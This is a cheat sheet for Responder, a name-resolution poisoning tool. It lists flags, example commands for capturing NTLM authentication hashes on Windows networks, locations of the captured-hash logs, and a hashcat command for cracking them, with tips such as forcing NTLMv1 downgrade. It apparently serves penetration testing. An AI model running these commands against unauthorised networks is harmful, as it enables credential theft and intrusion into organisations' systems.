Responder is a LLMNR, NBT-NS, and MDNS poisoner. Answers name resolution requests to capture authentication hashes. Essential for network penetration testing and credential harvesting in Windows environments.
Basic Usage
- responder -I eth0 - Start on interface
- responder -I eth0 -rdw - Enable all protocols
- responder -I eth0 -A - Analyze mode (no poisoning)
- responder -I eth0 -v - Verbose mode
Protocol Options
- -r - Enable Responder for LLMNR
- -d - Enable Responder for NBT-NS
- -w - Enable Responder for MDNS
- -f - Fingerprint hosts
- -P - Force NTLMv1
- -D - Force NTLM downgrade
Service Options
- -S - Enable HTTP server
- -U - Enable UPnP server
- -F - Force wpad auth
- -a - Enable SMB server
- -6 - Enable IPv6
Output Options
- -v - Verbose output
- -A - Analyze mode (no poisoning)
- -i file - Respond to IPs from file
- -e IP - External IP for wpad
- -b - Basic authentication
- -l file - Log file
Common Examples
Basic Poisoning
responder -I eth0
Start on interface with defaults.
All Protocols
responder -I eth0 -rdw
Enable LLMNR, NBT-NS, and MDNS.
Analyze Mode
responder -I eth0 -A
Monitor without poisoning.
Force NTLMv1
responder -I eth0 -P
Force weaker NTLMv1 hashes.
With HTTP Server
responder -I eth0 -S
Enable HTTP authentication server.
Verbose
responder -I eth0 -v
Detailed output.
Specific IPs
responder -I eth0 -i targets.txt
Only respond to listed IPs.
Full Options
responder -I eth0 -rdw -S -v
Enable all features with verbose.
Captured Hashes
- /usr/share/responder/logs/ - Log directory
- HTTP-NTLMv2-*.txt - HTTP hashes
- SMB-NTLMv2-*.txt - SMB hashes
- FTP-NTLMv2-*.txt - FTP hashes
- LDAP-NTLMv2-*.txt - LDAP hashes
Hash Format
- username::domain:hash:hash - NTLMv2 format
- Can be cracked with hashcat or john
- hashcat -m 5600 hash.txt wordlist.txt - Crack NTLMv2
Tips
- Use on internal networks for best results
- Enable all protocols (-rdw) for maximum coverage
- Use -A mode first to analyze traffic
- Check logs directory for captured hashes
- Use -P to force NTLMv1 (easier to crack)
- Combine with hashcat for password cracking
- Essential for network penetration testing
- Works best in Windows AD environments